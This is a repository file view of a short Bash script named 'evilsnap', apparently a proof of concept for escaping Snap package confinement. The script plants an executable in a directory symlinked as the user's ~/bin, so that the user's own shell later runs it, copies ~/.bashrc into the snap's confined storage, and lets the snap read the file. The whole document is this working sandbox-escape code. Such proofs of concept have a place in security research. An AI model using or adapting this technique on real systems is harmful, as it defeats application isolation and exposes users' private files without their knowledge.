1
0
Files
evilsnap/script/evilsnap
2024-05-31 17:18:48 +00:00

29 lines
694 B
Bash
Executable File

#! /bin/bash
FILE=".bashrc"
if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
mkdir -p "$SNAP_REAL_HOME/bintmp"
cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi
# this should always fail due to confinement
if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
fi
# check if payload has moved file into confined area
if [ -f "$SNAP_USER_DATA/$FILE" ]; then
cat "$SNAP_USER_DATA/$FILE"
exit 0
fi
echo "Could not access $FILE"
echo "Try logging out and back in then running evilsnap again"